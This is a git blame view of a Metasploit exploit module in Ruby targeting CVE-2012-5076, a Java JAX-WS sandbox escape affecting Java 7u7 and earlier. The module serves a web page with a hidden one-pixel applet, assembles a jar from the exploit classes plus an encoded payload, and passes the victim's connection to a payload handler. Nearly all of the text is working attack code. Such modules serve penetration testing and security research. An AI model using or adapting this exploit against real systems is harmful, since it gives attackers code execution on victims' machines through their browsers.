Files
metasploit-gs/modules/exploits/multi/browser/java_jre17_jaxws.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

122 lines
3.5 KiB
Ruby
Raw Normal View History

2012-11-11 17:05:51 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-11-11 17:05:51 +01:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-11-11 17:05:51 +01:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
# include Msf::Exploit::Remote::BrowserAutopwn
# autopwn_info({ :javascript => false })
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Java Applet JAX-WS Remote Code Execution',
'Description' => %q{
2012-11-11 17:05:51 +01:00
This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java
2025-06-20 13:20:44 +01:00
code outside of the sandbox as exploited in the wild in November of 2012. The
vulnerability affects Java version 7u7 and earlier.
},
'License' => MSF_LICENSE,
'Author' => [
2012-11-11 17:05:51 +01:00
'Unknown', # Vulnerability Discovery
'juan vazquez' # metasploit module
],
2025-06-20 13:20:44 +01:00
'References' => [
2012-11-11 17:05:51 +01:00
[ 'CVE', '2012-5076' ],
[ 'OSVDB', '86363' ],
2012-11-11 17:48:57 +01:00
[ 'BID', '56054' ],
2012-11-11 17:05:51 +01:00
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
2012-11-17 01:24:12 -06:00
[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ],
[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2012/11/15/a-technical-analysis-on-new-java-vulnerability-cve-2012-5076.aspx' ]
2012-11-11 17:05:51 +01:00
],
2025-06-20 13:20:44 +01:00
'Platform' => %w{java win},
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' => [
[
'Generic (Java Payload)',
2012-11-11 17:05:51 +01:00
{
'Arch' => ARCH_JAVA,
}
],
2025-06-20 13:20:44 +01:00
[
'Windows Universal',
2012-11-11 17:05:51 +01:00
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
2012-11-11 17:28:48 +01:00
],
2025-06-20 13:20:44 +01:00
[
'Linux x86',
2012-11-11 17:28:48 +01:00
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
2012-11-11 17:05:51 +01:00
]
],
2025-06-20 13:20:44 +01:00
'DefaultTarget' => 0,
'DisclosureDate' => '2012-10-16',
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2012-11-11 17:05:51 +01:00
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def on_request_uri(cli, request)
2012-11-11 17:05:51 +01:00
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
return
end
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
print_status("#{self.name} handling request")
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
2012-11-11 17:05:51 +01:00
return
end
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
paths = [
[ "Exploit.class" ],
[ "MyPayload.class" ]
]
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
p = regenerate_payload(cli)
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
jar = p.encoded_jar
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
paths.each do |path|
1.upto(path.length - 1) do |idx|
2025-06-20 13:20:44 +01:00
full = path[0, idx].join("/") + "/"
if !(jar.entries.map { |e| e.name }.include?(full))
2012-11-11 17:05:51 +01:00
jar.add_file(full, '')
end
end
2025-06-20 13:20:44 +01:00
fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2012-5076", path), "rb")
2012-11-11 17:05:51 +01:00
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
print_status("Sending Applet.jar")
2025-06-20 13:20:44 +01:00
send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
handler(cli)
2012-11-11 17:05:51 +01:00
end
2013-08-30 16:28:54 -05:00
2012-11-11 17:05:51 +01:00
def generate_html
2025-06-20 13:20:44 +01:00
jar_name = rand_text_alpha(rand(6) + 3) + ".jar"
html = "<html><head></head>"
2012-11-11 17:05:51 +01:00
html += "<body>"
2012-11-11 20:19:20 +01:00
html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
2012-11-11 17:05:51 +01:00
html += "</applet></body></html>"
return html
end
end